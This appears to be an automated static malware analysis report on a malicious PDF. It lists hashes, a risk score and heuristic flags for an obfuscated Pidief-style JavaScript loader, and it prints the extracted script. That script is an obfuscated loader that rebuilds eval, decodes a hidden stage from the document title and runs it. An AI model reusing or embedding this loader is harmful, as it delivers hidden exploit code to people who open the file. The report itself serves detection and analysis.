Malicious PDF — malware analysis report

Static analysis result for SHA-256 42a76e097c67a0b2…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-08
MD5: 881d250d27cbafcf8d22618b03ee561d SHA-1: 43f2fd77a30e756bc7e30b476290d21d60f792f2 SHA-256: 42a76e097c67a0b2b4c8ce9eb8a8b6e1a7421366c58a3f381c9de66fbd35e97d
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB02F 612 bytes
SHA-256: e02b5b628914cb0dd9d8502b277cdc40883cf8c6b3e9715e43c948ad07f63def
Preview script
First 1,000 lines of the extracted script
okdvs='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w","v",'r'];
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
bwl=e('ti'+'tle');
s=bwl.substr(t.length + 8,3)+'str';
q=bwl[s](1,(1,9));
ltfty=e('S'+'tring.fro'+q);
q=bwl[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	zlb = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	okdvs += ltfty(zlb);
}
e(okdvs);

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